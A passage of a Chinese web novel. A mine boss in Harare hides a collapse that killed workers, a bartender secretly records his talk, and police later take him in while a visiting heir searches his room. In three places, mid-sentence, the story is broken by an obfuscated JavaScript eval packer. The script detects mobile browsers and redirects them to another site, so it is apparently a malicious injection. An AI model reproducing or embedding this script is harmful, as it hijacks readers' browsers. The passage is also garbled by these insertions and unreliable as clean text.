招牌上几个汉字歪歪扭扭,后面缀着一行小字: 【黑狗酒吧(TheBlackDog)】 他下车,推开沉重的木门。下一瞬,一股混合了酒精、木质香和隐约食物味道的气息扑面而来。 时间已过午夜,酒吧里人不算多,只零星散落着几桌低声交谈的客人。昏暗的光线里,蓝调音乐如同地下的暗河,慢吞吞地淌着。 门后是一张飞镖盘,红心上钉着一根造型别致的海星镖,旁边还散落着密密麻麻的刺痕,显然经常被人用来练手,且准头不错。飞镖的五角上各自系了一串铃,随着他此时推门,发出叮铃铃一阵响。 吧台后头是个穿花哨夏威夷衫的年轻华人,面容清秀,头发抓得乱糟糟。正低头擦着杯子,听见动静抬眼,见是他后,眼睛、连带着眼尾那道细长的小疤,立时弯成了两道月牙。 “Hi,豹哥!好久没来了啊!”外号麻雀的酒保手腕一抖,将抹布利落地甩上肩头,动作轻快得像一只真正的鸟雀,向他熟络地招呼道,“快请进,老位子还给您留着呢。” 豹头从鼻子里“嗯”出一声,算是回应。他身形本就壮硕,出门时又换了件紧绷的黑色Polo衫,行走间好似肉山一般,带着股沉甸甸的压迫感。 他朝角落里一处位置隐秘的卡座走去。 麻雀跟了过来,手脚麻利地用抹布擦了擦本就干净的桌面:“豹哥,老规矩?先垫点儿?” “嗯。”豹头坐下,目光习惯性地扫视了一圈昏暗的室内,确认四周无人后,神色才放松稍许,“来份椒盐鱿鱼须,炸得脆点。再弄盘花生。” 麻雀闻声,脸上露出一抹歉意:“哎哟,真不巧,椒盐鱿鱼今天没有了。咱们那位厨娘近来身子有点不爽利,下午没备那么多料,这会儿早卖光了——花生倒有的是,我先给您上一碟,您再看看菜单,换点别的?” 豹头摸烟的手顿了顿,眼皮一掀,视线无声地飘向吧台后那道门帘。 帘子下半截浸着洗不掉的油渍,此刻静静垂着,纹丝不动,窥不见其后光景。 豹头眼神微动,收回目光后,脸上没什么表情,淡淡“哦”了一声。尾音拖得有些长,透出些心不在焉。他重又看向麻雀,语气如常:“那就花生吧,酒照旧。” “好嘞——‘边境之怒’一杯,加冰,马上来!”麻雀响亮地应和,随后步履轻快地转身走向吧台,嘴里还哼着不成调的小曲。 豹头看着他背影,只觉得这小子像从来没愁过一般,整天笑嘻嘻的,活得真像只扑腾的雀儿。 想到自己眼下的处境,他心里竟掠过一丝极淡的羡慕。 他又瞥了一眼那道布帘,见那里依旧静悄悄的,这才慢悠悠点上烟,深吸了一口。 辛辣的烟气在肺里转了一圈,吐出的雾模糊了他粗粝的脸,也掩去了那眼底的盘算—— 他有印象,门帘后头是个沉默寡言、总低着头的中国女人。她做的椒盐鱿鱼须,火候总是掐得正好,金黄酥脆,撒上细椒盐和辣椒末,带着几分故乡的味道。 他也是在那天动了手之后,才晓得…… “豹哥,您的酒。”就在这时,麻雀端着一个厚重的平底玻璃杯回来了,琥珀色的液体在冰块间荡漾,表面浮着一层极淡的、仿佛火焰灼烧过的焦糖色泡沫,杯沿还嵌着一片褐红的干辣椒。 这就是“黑狗”的招牌烈酒,“边境之怒”。看起来不如白酒清冽,入口却有种独特的、层次分明的灼烧感,先是热带水果的甜润,随即是香料和草本植物的辛辣,最后一道火线直窜喉头,后劲绵长而暴烈,很对他的胃口。 麻雀放下酒,又摆上一小碟油炸花生米后,便识趣地退开,去招呼另一桌刚进来的客人了。 卡座四周暂时陷入了沉寂。 约莫过了十几分钟,一名个子瘦高、穿着白T,右手从手掌到小臂都缠满绷带的男人,略显鬼祟地推门走了进来。目光在室内逡巡一圈后,眸光一动,锁定了豹头的位置。 他快步走了过来,用完好的左手拉开凳子,在豹头对面坐下。 来人正是团队的安保头目,高佬亮。来时他似是跑了几步,此时面色有些苍白,额角还渗着细密的汗珠。 “豹哥。”高佬亮喘着气朝他低声招呼,随后自己抬手向吧台方向的麻雀示意,点了杯啤酒。 豹头抬头,乜了他一眼,声音压得很低。 “微信里说的,都清楚了吧?” “清楚了。”高佬亮点点头,同样压低声音,“那个便宜儿子,真的想要去阿卡迪亚?豹哥,你不觉得很怪么——咱在哈拉雷有这么多矿,怎么他就指明要去这一个?而且啥时候来不好,偏偏矿里刚出了事,这纨绔就飞了来,这未免也......” 他这番话说得急,喘了喘气,咽了口唾沫又道:“这未免也太巧了,会不会是集团听到了什么风声,这才叫他来的?”语落,他面上露出一丝疑惑,“可晓得那东西出土的......如今,只剩咱们两个了啊。” 豹头看向他的眸光骤然变得森寒:“所以,你现在是来朝老子自首的?” 见高佬亮脸色骤然变得煞白,豹头从鼻腔里逸出一声冷笑:“蠢货。你我如今拴在一条绳上,谁会把消息往外漏?”顿了顿,他脸色一沉,“不过我也觉得古怪,这小子来得实在忒巧了些。若当真像你我所想的最糟的情况那样,集团第一时间就听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127421|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了风声,那就说明了一点......” “这哈拉雷,压根不像咱们想的,是咱的地盘。暗地里,早就有集团布下的眼睛了。” 高佬亮额角滑下一滴豆大的冷汗,声音都有些颤了起来:“那豹哥,我们现在该怎么办?” “慌什么?这只是设想,又不一定是真的。”豹头吐了口烟圈,定了定神后,徐徐开口,“即使是真的,现在矿都已经封上了,你只要看好阿卡迪亚那边,别让任何人进去,谁能找到那东西?我答应了那小子花三天去复原矿场——三天时间,已经足够办很多事了。” 高佬亮闻言舒出口气,连连点头:“豹哥英明。” 应完声,他拿起刚送来的啤酒喝了一口,可放下杯后,不知想到什么,他的眼神却再次不由自主地朝豹头瞟了去。 他打量着那张看似镇定、眉宇间却隐着焦躁的脸,目光闪了几闪,一副有话憋着的模样。 豹头察觉到他异样的注视,斜睨过去:“有屁就放,鬼鬼祟祟瞅什么?” 高佬亮喉结滚了滚,像是下了狠心,把头凑到豹头耳边,声音压得极低,带着一丝不易察觉的颤。 “豹哥,矿现在的确是按咱们的意思封了,动静也压了……可不论咱把不把这湛文嘉当回事,就像您微信里说的,矿总得开。到时候一打开,里面那、那些人……” 话没说完,意思却再明白不过。 豹头握着酒杯的手指骤然收紧,指节被大力捏得泛白。他猛地转过头,死死盯住高佬亮,那双本就带凶光的眼里,此刻更是翻涌起一股暴戾的怒意,在昏灯下显得格外瘆人。 “瞧你他妈这怂样!”豹头从牙缝里挤出这句话,声音不高,却冰冷刺骨,带着十足的威慑,“跟了我这么久,刀头舔血的买卖也没少做,至于这次吓成这副尿样?” 高佬亮被他突如其来的怒火吓得一哆嗦,脸色更白,下意识缩了缩脖子,立刻噤声垂眼,不敢再对视。 然而面上不说,心里却应道:虽然之前也干过不干净的行当,可从来没像这次,见过这么多血啊...... 远处的几桌客人似乎都隐约感觉到这边气氛不对,分明还隔着老远,谈话声都下意识地低了几分。 豹头胸口狠狠地起伏了两下,似是想要压下那股横冲直撞的邪火。少顷,他重新拿起烟,狠吸一口后,徐徐吐出。 浓白的烟雾将他阴沉的面目完全吞没。高佬亮依旧低着头,大气不敢喘。 过了半晌,那令人窒息的压迫感稍稍散去,豹头重新开口,声音已经恢复了之前的低沉平稳,但每个字都像淬了冰的钉子,狠狠凿进空气里: “我记得我刚才说过——三天时间,足够你做很多事了。”他漫不经心地弹了弹烟灰,目光飘向吧台后那排琳琅满目的酒瓶,淡淡道,“那些人......” 他顿了一下,嘴角极其轻微地扯动了一下,形成一个近乎残忍的弧度。 “就让他们一辈子都在下面吧。” 5. 04 凌晨两点半,酒吧送走了最后一名客人。 客人是个黑人小伙,走之前还在醉醺醺地发牢骚:“为什么Rebecca选择了那个小子?他哪里比我好了?明明上周还约我出去看电影......” 麻雀给他递过桌旁落下的衬衫,笑眯了眼:“欢迎下次光临。” 语落,干净利落地把这醉鬼推出了门。 冷风顺着门缝灌进来,带着午夜的凉意,他下意识地裹了裹身上的夏威夷衫,转身插上门闩。 再回头时,脸上的笑意已经完全隐没。 他走到最角落的那张卡座旁,弯腰摸了摸桌底,指尖触到一片平整冰凉的金属。 确认东西还在后,他那紧绷的肩线才稍稍放松了些。 那是一枚指甲盖大小的录音窃听器,外壳做了伪装,颜色与桌子底部的木纹几近融为一体。麻雀将它小心取下,用纸巾包好后,塞进牛仔裤口袋最深处,动作熟练得好似已做了千百遍。 顿了顿,他掏出手机,拨出一个号码,然而对面却始终显示忙音。 他呼出口气,心想:应该已经开始了吧? 等她忙完了,会拨回来的。 ...... 打扫完酒吧后,墙上挂钟的指针已经指向了三点。 麻雀推开后门,潮湿的夜风扑面而来,后院不大,角落里搭着一个简陋的狗窝,隐约能听见几声细弱的呜咽。 他走到墙边的储藏室,倒出半袋狗粮,又从冰箱里取了些肉碎混在铝盆里,端着走向狗窝。 听到熟悉的脚步声,窝里先是一阵窸窣响动,接着,一道矫健的黑影率先蹿了出来,尾巴摇得飞快,亲热地围着他的脚踝打转。 这是一条通体乌黑的本地土狗,身形匀称,毛发油亮,名叫萨娜。它刚生完小狗不久,腹部还带着哺乳期的松垂,精神头却很好,一双褐色的眼睛在夜色中亮得像两颗温润的宝石。 麻雀蹲下身,摸了摸萨娜的头,将铝盆放在地上。萨娜低头嗅了嗅后,大口吃了起来。 这时,窝里又挤出三个毛茸茸的小脑袋。那是三只小狗崽,大约一个月大,走路还摇摇晃晃,却已经学会了争抢,它们跌跌撞撞地围到妈妈身边,也想往食盆里凑。被萨娜用鼻子轻轻拱开后,小狗们不甘心地“汪汪”叫起来,声音稚嫩又急切。 麻雀不禁笑了。 这是他今晚难得没有掺假、发自内心的表情。 他伸手揉了揉最胖那只小狗的头顶,小家伙立刻忘了抢食,仰起头,伸出粉红的小舌头舔他的手指。湿漉漉、暖烘烘的触感,像是一小捧活着的火焰,在这湿冷的夜里,熨帖着他紧绷的神经。 萨娜吃得很快,吃完后它没有立刻回窝,而是蹭到麻雀腿边,温顺地用头顶蹭了蹭他的膝盖,喉咙里发出满足的咕噜声。 麻雀又挠了挠它的下巴,低声道:“乖,进去吧,外头冷。” 也就是在这一瞬间。 一股凉意毫无预兆地爬上了他的脊背。 不同于夜风的冰凉,那是一种被窥视的、针刺般的感觉。麻雀脸上的笑容僵住,动作一顿,缓缓转过头,朝后墙那排窗户望去—— 二楼最左边那扇窗户后,厚厚的窗帘拉开了一条缝隙。 一张女人的脸,隐在玻璃后幽深的暗影里,正定定地看向他。距离有些远,看不清表情,但那双眼睛,即使在这样晦暗的光线下,也透着一股沉甸甸的、令人不安的幽冷。 她就那样一动不动地站着,像一尊立在窗后的雕塑,目光穿透玻璃和夜色,牢牢钉在他身上。 麻雀心脏猛地一跳,随即强迫自己放松下来。他若无其事地移开视线,拍了拍萨娜,看着它带着小狗们钻回窝里后,才站起身,端起空了的铝盆,转身往屋里走去。 他能感觉到,那道目光一直追随着他,直到他推门进屋,消失在门后。 麻雀站在厨房的水槽边,水声哗哗,掩盖了他细微的叹息。将铝盆冲洗干净放回原位后,他在原地站了几秒,抬手抹了把脸,将疲惫和一丝不易察觉的烦躁都抹去,重又换上平日里那副总是带点笑意的表情,这才转身朝楼梯走去。 二楼走廊很窄,灯光昏黄,墙壁上贴着的旧墙纸有些地方已经卷边,露出底下斑驳的墙皮。麻雀停在最里面那间房门前,抬手,轻轻敲了三下。 里面没有立刻回应。 他又敲了几下,力道稍重了些。 过了好一会儿,门才“吱呀”一声,从里面拉开一条缝来。 缝隙里露出一张女人的脸,五十岁上下,头发枯黄,在脑后草草扎成一个松垮的发髻。脸色蜡黄,眼袋浮肿,眼神里沉淀着经年累月的愁苦和一种近乎偏执的阴郁。 “陈嫂。”麻雀脸上堆起惯常的笑,,语气温和,“刚刚看到你还没睡,今天身体感觉怎么样,头还疼吗?我给你留了碗粥在厨房温着,要不要……” 他的话没能说完。 陈嫂的眼睛死死盯着他,目光里没有感谢,只有冰冷的审视和压抑不住的怨愤。她开口,声音沙哑得像砂纸摩擦:“不用你假好心。” 麻雀的笑容僵在脸上,但很快又调整过来,依旧好声好气:“陈嫂,你别这样。我知道你心里难受……” “难受?”陈嫂猛地打断他,声音陡然拔高,在这寂静的深夜里显得格外刺耳,“你们竟也晓得我难受!” 她将门又拉开些,整个人挤在了门里,枯瘦的手指紧紧抓住门框,指节捏得泛白:“你们对一条狗、对一个畜生都那么上心,天天好吃好喝地喂着,生怕它饿着冷着。可我的平安呢?我儿子失踪了!失踪了整整一个月!这一个月里,你们有谁真正上心找过?问过他一句吗?” “陈嫂,我和Ginna一直在找……” 麻雀试图解释,可刚一出声就又被打断:“——找?怎么找的?”陈嫂尖刻地反问,眼眶瞬间红了,却不是因为悲伤,而是被怒火烧得通红,“报警了吗?贴寻人启事了吗?发动所有认识的人打听了吗?没有,什么都没有,你们就只是嘴上说说!我知道,你们早巴望着他永远别回来,是不是?” “不是这样的……” “平安他为什么会变成这样?还不是你们害的。”陈嫂的怨气如同开了闸的洪水,汹涌而出,她身体因为激动而微微发着抖,“当初酒馆少了钱,你们非说是他偷的,可证据呢?你们拿出证据来啊!就凭他以前犯过小错,就认定是他?这孩子心气高,被你们这么冤枉,一气之下才会跑出去,去那些乱七八糟的地方打工!才会结交些不三不四的人!” 她的声音原本带着哭腔,却又强行压抑着,最后变成一种扭曲的嘶喊:“你们当初要是拉他一把,相信他、劝他留下,他至于变成现在这个样子吗?他才十九岁,十九岁啊!如今他活不见人,死不见尸……如果他要有事,我也不活了!” 最后一个字几乎是吼出来的,带着绝望的尾音。语落,她用尽所有力气,猛地将门往回一拉—— “砰!” 一声巨响。 厚重的木门狠狠砸上门框,震得墙壁上的灰尘簌簌落下。那声响在空荡的走廊里久久回荡,如同一声沉重的丧钟,宣告着过往所有情谊的死亡。 麻雀站在紧闭的门前,脸上的笑容早已消失无踪,只剩下一片疲惫的空白。他抬起手,想再敲敲门,说点什么,但手臂悬在半空,终究还是无力地垂了下来。 解释有什么用呢?有些伤口,不是言语能够缝合的。 平安的事,确实是个疙瘩。那孩子歪心思多,手脚也确实不算干净,酒馆丢钱那次,有嫌疑的,除了他再无旁人。可少年人脆弱的自尊心经不起一点猜疑,一场激烈的争吵后,他摔门而去,自此再没回来。 他们报警了,也托人打听了,可哈拉雷这么大,一个存心躲起来的人,就像一滴水汇入大海,哪有那么容易找呢? 正怔忡着,旁边另一扇门悄无声息地开了。 一个瘦小的身影探出头来。 那是个七八岁左右的埃及男孩,头发卷曲,皮肤微黑,此刻正揉着惺忪的睡眼,脸上带着被惊醒的茫然和不安。 他叫图拉,许是合了眼缘,两年前被Ginna收留了下来。平日里会帮着在店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127422|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里打打杂、跑跑腿,闲暇时,也让他去城里的本地人中打探些消息。 小男孩赤着脚,悄无声息地走到麻雀身旁,伸出手,轻轻拉了拉他的衣角。 麻雀低下头,对上男孩那双清澈又带着担忧的眼睛。他蹲下身,摸了摸他卷曲的头发,低声道:“不好意思,图拉,吵醒你了。” 图拉摇了摇头,没说话,只是又朝陈嫂紧闭的房门看了一眼,然后用很小的声音问道:“还是那样吗?” 麻雀没出声,只是轻轻点了点头。过了几秒,他才打起精神,对图拉说:“这几天就我们两个在店里忙,你应该也累坏了。明天不是还要早起,去帮法蒂玛摆摊吗?快去睡吧,别担心这个了。” 他站起身,揽着图拉单薄的肩膀,把他送回房间,帮他盖好被子,又按灭了灯。 “没事的。”在带上门之前,麻雀轻声说,像是在安慰图拉,又像是在安慰自己,“过几天,她应该就会想通的。” 门轻轻合上,他走回自己位于走廊另一头的房间。 房间不大,只放了一张床、一张桌子和一个衣柜,收拾得干干净净。他反手锁上门,背靠在门板上,长长地、无声地吐出一口郁结在胸口的浊气。 然后,他从口袋里掏出那枚用纸巾包裹的窃听器,走到桌边,打开一台老旧的笔记本电脑,插入从窃听器中取出的芯片。 很快,今晚豹头和高佬亮在卡座里的对话,伴随着稀稀拉拉的背景噪音,从耳机里流淌出来。 当听到高佬亮那句发颤地说道“里面那些人”时,他的眼神骤然冷了下去,手指无意识地收紧。 就在这时,被他随手放在桌上的手机屏幕亮了起来。 震动声闷闷的,在木头桌面上摩擦出轻微的“嗡嗡”声。屏幕上闪烁的,是一个没有存储姓名的号码。 麻雀见状立刻摘下耳机,拿起手机,快步走到窗边,按下接听键,压低声音:“Ginna?” “是我。”听筒里传来一道干脆冷冽的女声,像冬日里敲击冰面的石子,带着一种奇特的、空旷的回响。紧接着,又传来一阵阵敲击声,夹杂着她略显不稳的气息。 她似乎正在一个巨大的封闭空间里忙碌着。 “今晚豹头又来了。”麻雀语速很快,吐字却非常清晰,“还有你说的那个高个子。我听到他们说,矿场会被封上三天——这三天里,不会有人下去。” “嗯。”对面只简短应了一声,表示收到,没有多余的情绪。 麻雀顿了顿,又问:“你在下头……有找到你想要的吗?” “快了。”女子的回答依然简短,但麻雀对她何等熟悉,几乎是瞬间便听出了那话语下藏着的一丝紧绷。 “你一个人千万要小心。”麻雀忍不住叮嘱,“矿里情况不明,我听他们说,下面好像还有人……” “人?”女子话音不自觉地挑高了一瞬,末了,只意味不明地轻轻一笑,“哦,我已经遇到了。” 麻雀闻声,一颗心登时提到了嗓子眼,急道:“你和他们撞上了?!有没有受伤?” “放心,没事。” 女子声音懒洋洋的,似是放下物什伸了个懒腰,末了又问:“家里生意怎么样,陈嫂还好吗?” 麻雀闻言,视线不由自主地飘向房门,仿佛能穿透木板,看到走廊尽头那扇紧闭的、充满怨气的门。他喉结滚动了一下,话到嘴边,却变成了:“一切都好。店里生意正常,萨娜也下崽儿了,个个都膘肥体壮的。陈嫂……身体好了些,当然,还惦记着平安。” 现在不是让她分心的时候。 对面沉默了两秒。 短短两秒,却长得让麻雀几乎以为信号又断了。 或者,她已经听出了自己在说谎。 但她最终只道:“好。如果豹头那边再有动静,立刻告诉我。” “明白。” “先这样。” 通话干脆利落地结束。 麻雀看着暗下去的手机屏幕,在原地站了很久。末了,力竭一般朝后躺去,倒在松软的床垫上,发出长长一声叹息。 6. 05 夜里还泼墨般厚重的云层,在天亮前悄无声息地散了。晨光从东边漫上来,带着非洲南部雨季特有的湿漉漉质感,将别墅米白色的外墙照出一层浅淡的金色。 豹头是被一阵急促的敲门声惊醒的。 宿醉像钝器般砸着他的太阳穴,睁开眼时,他的眼前还是一片模糊——昨晚从“黑狗”回来后,虽然善后事项已经吩咐给高佬亮去做了,可不知为何,他的心里还是有些不踏实。于是后半夜,自己又灌了半瓶威士忌,才勉强睡下。 此刻他整个人都像被拆散重组过,骨头缝里都透着酸软。 “豹哥!豹哥!” 门外的手下声音里透着掩饰不住的慌张,敲门声一次比一次重,最后几乎是在撞门了。 豹头烦躁地抓了抓光头,翻身下床时脚下一软,差点栽倒在地。他骂骂咧咧地稳住身形,胡乱套上件T恤,光着脚走到门边,猛地拉开门—— 门外站着的是守夜的小弟,一个叫阿坤的小子,此刻脸色煞白,额头上全是细密的冷汗。 “他妈的,干什么?!”豹头脸色黢黑,带着刚醒的戾气,“天塌了?” “豹、豹哥……”阿坤咽了口唾沫,声音发颤,“警、警察来了!” 豹头脑子里“嗡”的一声,脑中的昏沉瞬间像是被一股冰水浇透,清醒得彻彻底底。 他娘的,还真是天塌了。 “你说什么?”他重复了一遍,像是没听清,“警察?” 语落,他脸上闪过一丝不可置信:“警察来做什么?” “说、说是矿上有人失踪了……”阿坤磕磕绊绊道,“家属报了警,警察查到我们这儿来了,现在就在楼下客厅,说要找负责人问话!” 豹头的心脏猛地一沉,一瞬间,什么酒都醒了。 ——怎么会这么快? 矿工失踪的事,他自认处理得够干净了。 当初签合同的时候,条款里白纸黑字写得清楚:下矿不能带手机。这一条原本是为了防止矿工偷拍矿脉信息,现在却成了他们的护身符。事发之后,他们第一时间收走了所有矿工的手机,破解开后,派了几个人定期给家属发信息,伪装成还在矿上工作的样子。 这几天下来,也没有一个家属起疑心,按理说,至少还能拖上半个月才对。 怎么会突然报警呢? “来了几个人?”豹头强迫自己冷静下来,一边问一边快速往身上套裤子。 “四、四个。”阿坤说,“两个穿制服的本地警察,还有两个便衣,看着像是华裔,会说中文。” 妈的,居然还有华裔。 豹头扣皮带的手顿了一下,脸色更难看了。 在这片华人社区里,华裔警察是个微妙的存在。他们既熟悉本地办案流程,又了解华人圈子的运作方式,在国内也有些人脉,很多时候比本地警察更难糊弄。 “什么时候上门不好……”豹头从牙缝里挤出这句话,声音里带着压抑不住的焦躁。 偏偏是这个时候。 别墅住进“外人”的第二天。 他猛地抬头,看向阿坤:“湛文嘉呢?他现在在哪儿?” 阿坤一愣,还没来得及回答,门口处就传来一道带着些疑惑的声音: “豹哥,你找我啊?” 豹头手一抖,循声望去,心脏骤然一缩。 房门后方,湛文嘉不知何时已经站在了那里。他穿着一件浅灰色的衬衫,袖口挽到小臂,露出流畅的线条,头发还乱糟糟的,显然才刚起床。 豹头回过神来,连忙道:“没事、没事,小嘉爷,你怎么这么早就起了?我们负责其他矿场的同事还没过来,你要不再去睡会儿?”说完,用眼神朝阿坤示意,让他赶快把这小子带回去。 “可我刚刚听到门口有警笛声诶。”湛文嘉喃喃道,“是有警察来了吗?他们来我们这儿干嘛?” 豹头脸上的肌肉不受控制地抽搐了一下。 “你听错了吧。”豹头勉强挤出一个笑,“就算有警笛,也应该是别处出了事,你先休息,不用紧——” 话还没说完,楼下客厅就传来一个男声,用的还是略带口音的中文: “谁是‘阿卡迪亚’矿坑的负责人?” ——妈的! 见湛文嘉脸色变得愕然,豹头深吸一口气,知道瞒不过了,只能硬着头皮朝外走去。经过湛文嘉身边时,他压低声音飞快地说了一句:“应该是误会,我去处理一下,别担心。” 湛文嘉脸上带着些茫然,下意识点点头,随后侧身让开一步,看着两人匆匆下了楼。 ...... 客厅里站着四个男人。 两个本地人,穿着津巴布韦警方的深蓝色制服,身材高大,面色严肃。另外两个穿着便衣,一高一矮,都是东方面孔,此刻正打量着客厅里的陈设。 “我就是负责人。”豹头走到客厅中央,努力让自己的声音听起来平稳,“几位警官,有什么事吗?” 高个子便衣警察上前一步,目光在他脸上停留了几秒,然后开口:“我们接到报案,阿卡迪亚锂矿有五名矿工失踪,家属称已经好几天联系不上人了。矿场负责人的地址登记在这里,所以找过来了解一下情况。” 他的中文很流利,夹杂着一点两广口音,应该是早年移民的华人后裔。 豹头心里一沉,脸上却露出惊讶的表情:“失踪?不可能吧,我昨天还跟工头通过电话,没听说有人不见啊。” “昨天?”那警察挑眉,“你确定?” “确定。”豹头说得斩钉截铁,“昨天矿场因为暴雨发生了垮塌,我们第一时间进行了封锁,然后就给工人们放了假。我们矿上有严格的考勤制度,每天下井上井都要签到,如果有矿工没来,工头第一时间就会上报。” 高个子警察翻开记录本,看了眼:“失踪的五个人分别是:李全贵、李永鑫、张海、陈威,还有王力。都是中国人。报案的是李全贵的家属,说本来要和他每天联系的,但最后一次联系是在三天前,之后所有的电话都打不通了,发信息也不回,怀疑是出了事。” 豹头闻声,眼皮几不可察地跳了一下。 他不记得这些人,平常要跟家属打电话啊。 但他很快就道:“警官,您说的这几个人,是矿工里为数不多的中国人,大家都是老乡,我确实有印象,但更细的人员管理,都是工头在负责,我不是很清楚。这样,我马上给工头打个电话,让他核实一下——” 事发突然,现在只能能拖一会儿是一会儿了。 以他在哈拉雷的人脉,如若提前准备,完全不需要把警察放在心上,可谁知这些死条子,居然会在这个时候突然找上门来! “不用了,就算你打了电话,他估计也核实不了。”熟料另一个警察却打断道,“我们已经去过矿场了。” 豹头心里“咯噔”一下。 “矿场大门紧闭,门口有保安守着,说里面在抢修塌方,任何人不能进去。”警察盯着豹头的眼睛,一字一句地说,“我们要求见工头,可保安却说工头不在。” “所以,先生,”他“啪”的一声合上记录本,“我们只能来找你。麻烦你跟我们回警局一趟,配合调查。” “这……”豹头喉结滚动,“警官,是不是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127423|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么误会?矿场确实在抢修,前几天暴雨,发生了小规模塌方,我们是为了安全起见才暂时封了矿。工头可能去采购材料了,我现在就联系他——” “这些你可以到警局再说。”警察的语气不容置疑,“请吧。” 豹头站在原地,脸色登时黑了。 他今天绝不能在湛文嘉的面前被带走。 一旦这小子把他被警察带走的事传回国内,就算事后成功摆平了,也会落得个“管理不力”的名头,届时,恐怕集团会收回他津国驻办负责人的职位。 眼下矿里还有好多事没善后,他绝对不能在这个时候下台! 想到这里,他就要开口再说些什么,然而下一瞬,却又听警察问:“他又是谁?” 豹头抬头一看,立时僵在了原地,已经涌到嘴边的辩解都忘了说:只见湛文嘉不知何时已经从房中走了出来,此刻正站在楼梯边沿,默默看着这一切。 见豹头看过来,两人视线对了对,都从彼此的眼神中看出了不安和紧张。 “他是刚从国内过来采风的学生。”豹头反应过来,连忙介绍,“咱老板的小孩,昨天晚上刚到的,对矿上的事一概不知。” 妈的,就算再给他九条命,他也不敢让湛文嘉被牵扯进来! 警察们默默交换了一个眼神,随后高个子警察上楼,走到湛文嘉面前,打量了他几眼:“先生,请出示一下你的护照和签证。” 湛文嘉愣了一下,随后从衬衫口袋里拿出护照,递了过去。 警察翻开护照,仔细查看签证页,又对比了一下照片,然后抬头:“你是什么时候入境的?” “今天凌晨。”湛文嘉的声音带着明显的紧张,“航班号QR861,从上海经多哈中转,抵达哈拉雷的时间是凌晨一点四十分......如果您需要的话,我可以提供机票和出入境记录。” 他说话有些颤抖,但每一个时间点都精准无误。 警察点了点头,把护照还给他,朝楼下的同伴道:“的确昨晚才到,这件事跟他没关系。”顿了顿,他又朝湛文嘉补充道,“不过按照规定,我们需要记录所有在场人员的身份信息,请你理解。” “好的。”湛文嘉接过护照,重新放回口袋。 豹头看着这一幕,心里五味杂陈。 “先生,还有在矿场工作过的各位,请吧。”警察再次催促。 豹头知道躲不过了,只能配合着跟着走。经过湛文嘉身边时,他停下脚步,勉强挤出一个笑:“小嘉爷,都是误会,我过去配合一下调查,很快就回来。让您受惊了,实在不好意思,等我回来,一定好好跟您赔罪。” 湛文嘉呆呆地看着他,似是还没从这闹剧中回过神来,过了几秒后,才愣愣地点了点头:“好......好的。” 豹头还想说些什么,诸如让他先不要把这件事告诉国内,但转念一想,这样又实在有些此地无银,遂住了嘴。犹豫之际,警察已经走到了门口,他只能转身跟上。 警车驶离别墅,轮胎碾过湿漉漉的路面,发出轻微的嘶响。 ...... 前一刻还闹闹哄哄的客厅,一时只剩下湛文嘉一人。 他站在客厅的落地窗前,看着那辆白色警车消失在拐角,脸上的惶惑一点点褪去,取而代之的,是一种深沉的冷意。 他拿出手机,点开那个火焰图标的APP。 手指在屏幕上快速敲击,打出一行字: 【人已经被带走了。】 过了十秒,对面回复: 【按计划行事。】 火焰旋即窜起,将消息焚毁得干干净净。 7. 06 湛文嘉收起手机,转身朝客厅里看去。 豹头连带着手下一起被带走,整座别墅空落落的,此刻只剩下了他一个。 对方被打了个猝不及防,才在眼下创造出这么一个绝佳的机会。如若他想得不错,豹头不会放心他一个人在这里,很快就会派人过来。 时间有限,他得抓紧。 拖鞋踩在深色木地板上,发出沉稳而规律的轻响。客房、书房、储物间……一楼的所有房间都收拾得干干净净,可能藏东西的地方他都搜了一遍,没有发现任何问题。 可这份干净,并没有将他心中疑虑消弭半分。 他眉头渐渐拢起,踏上楼梯,沿着二楼的走廊一间一间地查过去。 ——还是没有,每一间房里都没有。 最终,他走到走廊尽头,停在豹头的卧室门前。 可能是因为被带走得太过匆忙,这门竟没有锁,只虚虚掩着。 他轻轻推开,走了进去。 豹头的卧室比客房大得多,装修也豪华不少,只是空气有些凝滞,仿佛还残留着主人出门前焦躁不安的气息。 里面是一张宽大的双人床,床单凌乱,散发着酒气和汗味,床头柜上摆着一个空的威士忌酒瓶和装满烟蒂的烟灰缸,地上随意扔着几件脏衣服。 湛文嘉戴上随身携带的手套,开始仔细搜查。 他翻遍了衣柜、床头柜、抽屉,甚至掀开了床垫,但找到的都是一些寻常物品——衣服、香烟、打火机、开过封的避孕套,几本封面裸露的杂志,还有一些零散的现金。 除却这些之外,竟再没发现别的。 难道.....他是把东西放在了别处? 是在别的办事处,还是干脆就放在了矿上? 湛文嘉站在房间中央,目光缓缓移动,最后落在了卧室角落靠墙的那排书架上。 